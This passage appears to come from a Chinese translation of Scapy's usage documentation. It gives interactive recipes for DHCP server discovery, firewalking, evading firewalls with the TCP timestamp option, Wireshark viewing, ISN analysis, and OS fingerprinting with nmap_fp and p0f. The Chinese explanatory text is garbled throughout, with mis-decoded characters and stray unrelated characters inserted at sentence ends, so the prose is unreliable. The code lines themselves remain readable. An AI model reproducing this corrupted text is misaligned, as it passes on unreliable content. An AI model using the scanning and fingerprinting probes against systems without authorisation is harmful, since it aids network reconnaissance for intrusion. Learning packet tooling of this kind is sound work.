>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11
Discussion
我們?cè)O(shè)置multi=True
來確保Scapy在接收到第一個(gè)響應(yīng)之后可以等待更多的應(yīng)答數(shù)據(jù)包上荡。這也就是我們?yōu)槭裁床挥酶奖愕?code>dhcp_request()函數(shù)趴樱,而是手動(dòng)地構(gòu)造DCHP數(shù)據(jù)包的原因:dhcp_request()
使用srp1()
來發(fā)送和接收數(shù)據(jù)包,這樣在接收到一個(gè)應(yīng)答數(shù)據(jù)包之后就會(huì)立即返回酪捡。
此外叁征,Scapy通常確保應(yīng)答來源于之前發(fā)送請(qǐng)求的目的地址。但是我們的DHCP數(shù)據(jù)包被發(fā)送到IP廣播地址(255.255.255.255)逛薇,任何應(yīng)答數(shù)據(jù)包都將回復(fù)DCHP服務(wù)器的IP地址作為其源IP地址(e.g. 192.168.1.1)捺疼。由于這些IP地址不匹配,我們必須在發(fā)送請(qǐng)求前使用conf.checkIPaddr = False
來禁用Scapy的check永罚。
See also
Firewalking
TTL減一操作過濾后帅涂,只有沒被過濾的數(shù)據(jù)包會(huì)產(chǎn)生一個(gè)ICMP TTL超時(shí)
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
if r.haslayer(ICMP) and r.payload.type == 11:
print s.dport
在對(duì)多網(wǎng)卡的防火墻查找子網(wǎng)時(shí),只有它自己的網(wǎng)卡IP可以達(dá)到這個(gè)TTL:
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst
TCP Timestamp Filtering
Problem
在比較流行的端口掃描器中尤蛮,一種常見的情況就是沒有設(shè)置TCP時(shí)間戳選項(xiàng)媳友,而許多防火墻都包含一條規(guī)則來丟棄這樣的TCP數(shù)據(jù)包。
Solution
為了讓Scapy能夠到達(dá)其他位置产捞,就必須使用其他選項(xiàng):
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
Viewing packets with Wireshark
Problem
你已經(jīng)使用Scapy收集或者嗅探了一些數(shù)據(jù)包醇锚,因?yàn)閃ireshark高級(jí)的數(shù)據(jù)包展示功能,你想使用Wireshark查看這些數(shù)據(jù)包。
Solution
正好可以使用wireshark()
函數(shù):
>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets
>>> wireshark(packets) # show them with Wireshark
Discussion
wireshark()
函數(shù)可以生成一個(gè)臨時(shí)pcap文件焊唬,來包含你的數(shù)據(jù)包恋昼,然后會(huì)在后臺(tái)啟動(dòng)Wireshark,使其在啟動(dòng)時(shí)讀取該文件赶促。
請(qǐng)記住Wireshark是處理第二層的數(shù)據(jù)包(通常被稱為“幀”)液肌。所以我們必須為ICMP數(shù)據(jù)包添加一個(gè)Ether()頭。如果你直接將IP數(shù)據(jù)包(第三層)傳遞給Wireshark鸥滨,你將會(huì)得到一個(gè)奇怪的結(jié)果嗦哆。
你可以通過改變conf.prog.wireshark的配置設(shè)置,來告訴Scapy去哪尋找Wireshark可執(zhí)行文件婿滓。
OS Fingerprinting
ISN
Scapy的可用于分析ISN(初始序列號(hào))遞增來發(fā)現(xiàn)可能有漏洞的系統(tǒng)老速。首先我們將在一個(gè)循環(huán)中發(fā)送SYN探頭,來收集目標(biāo)響應(yīng):
>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
一旦我們得到響應(yīng)之后凸主,我們可以像這樣開始分析收集到的數(shù)據(jù):
>>> temp = 0
>>> for s,r in ans:
... temp = r[TCP].seq - temp
... print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328 +4275758673
4279655607 +3896934
4280642461 +4276745527
4281648240 +4902713
4282645099 +4277742386
4283643696 +5901310
nmap_fp
在Scapy中支持Nmap指紋識(shí)別(是到Nmap v4.20的“第一代”功能)橘券。在Scapy v2中,你首先得加載擴(kuò)展模塊:
>>> load_module("nmap")
如果你已經(jīng)安裝了Nmap卿吐,你可以讓Scapy使用它的主動(dòng)操作系統(tǒng)指紋數(shù)據(jù)庫旁舰。清確保version 1簽名數(shù)據(jù)庫位于指定的路徑:
>>> conf.nmap_base
然后你可以使用namp_fp()
函數(shù),該函數(shù)和Nmap操作系統(tǒng)檢測(cè)引擎使用同樣的探針:
>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
p0f
如果你已在操作系統(tǒng)中安裝了p0f嗡官,你可以直接從Scapy中使用它來猜測(cè)操作系統(tǒng)名稱和版本鬓梅。(僅在SYN數(shù)據(jù)庫被使用時(shí))。首先要確保p0f數(shù)據(jù)庫存在于指定的路徑:
>>> conf.p0f_base
例如谨湘,根據(jù)一個(gè)捕獲的數(shù)據(jù)包猜測(cè)操作系統(tǒng):
>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
-> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>